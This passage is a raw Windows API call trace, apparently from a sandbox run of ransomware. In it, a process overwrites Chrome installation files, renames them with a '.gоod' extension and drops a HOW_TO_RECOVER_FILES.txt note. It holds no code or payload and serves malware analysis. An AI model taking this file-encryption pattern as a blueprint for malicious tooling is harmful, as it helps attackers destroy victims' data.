lpBuffer=0x362cb50*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0093.217] CloseHandle (hObject=0x79c) returned 1 [0093.217] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0093.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0093.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0093.218] GetFileType (hFile=0x79c) returned 0x1 [0093.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0093.218] GetFileType (hFile=0x79c) returned 0x1 [0093.218] WriteFile (in: hFile=0x79c, lpBuffer=0x33982e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x33982e0*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0093.218] CloseHandle (hObject=0x79c) returned 1 [0093.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0093.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin.gоod", lpFilePart=0x0) returned 0x54 [0093.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0093.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x33c7af9f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x175ba4)) returned 1 [0093.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0093.219] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin.gоod")) returned 1 [0093.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0093.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps", lpFilePart=0x0) returned 0x4a [0093.220] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.632] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.632] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5170b174, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0093.632] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51725f24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5173e5c4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51732274, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51737094, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.633] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0093.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0093.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0093.634] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps", lpFilePart=0x0) returned 0x4a [0093.634] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.635] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.635] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5170b174, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0093.635] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51725f24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0093.636] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5173e5c4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0093.636] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51732274, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0093.636] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51737094, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0093.636] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51737094, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0093.636] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0093.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0093.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", lpFilePart=0x0) returned 0x63 [0093.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0093.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x3577be0 | out: lpFileInformation=0x3577be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5173e5c4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4f2)) returned 1 [0093.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0093.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", lpFilePart=0x0) returned 0x63 [0093.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb980) returned 1 [0093.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0093.640] GetFileType (hFile=0x7b4) returned 0x1 [0093.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb8f0) returned 1 [0093.640] GetFileType (hFile=0x7b4) returned 0x1 [0093.640] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1fbebb28 | out: lpFileSizeHigh=0x1fbebb28*=0x0) returned 0x4f2 [0093.640] ReadFile (in: hFile=0x7b4, lpBuffer=0x357b800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeba58, lpOverlapped=0x0 | out: lpBuffer=0x357b800*, lpNumberOfBytesRead=0x1fbeba58*=0x4f2, lpOverlapped=0x0) returned 1 [0093.905] CloseHandle (hObject=0x7b4) returned 1 [0093.935] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", lpFilePart=0x0) returned 0x63 [0093.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb980) returned 1 [0093.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0093.937] GetFileType (hFile=0x7b4) returned 0x1 [0093.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb8f0) returned 1 [0093.937] GetFileType (hFile=0x7b4) returned 0x1 [0093.937] WriteFile (in: hFile=0x7b4, lpBuffer=0x349efc8*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x1fbeb968, lpOverlapped=0x0 | out: lpBuffer=0x349efc8*, lpNumberOfBytesWritten=0x1fbeb968*=0x500, lpOverlapped=0x0) returned 1 [0093.938] CloseHandle (hObject=0x7b4) returned 1 [0093.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", lpFilePart=0x0) returned 0x63 [0093.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json.gоod", lpFilePart=0x0) returned 0x68 [0093.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0093.938] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3433f69d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0093.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0093.938] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json.gоod")) returned 1 [0093.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0093.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0093.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0094.303] GetFileType (hFile=0x768) returned 0x1 [0094.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0094.303] GetFileType (hFile=0x768) returned 0x1 [0094.304] WriteFile (in: hFile=0x768, lpBuffer=0x35e7870*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x35e7870*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0094.305] CloseHandle (hObject=0x768) returned 1 [0094.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0094.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions", lpFilePart=0x0) returned 0x48 [0094.305] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.306] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.306] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0094.306] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.306] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0094.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0094.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0094.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions", lpFilePart=0x0) returned 0x48 [0094.306] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.307] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.307] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0094.307] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: 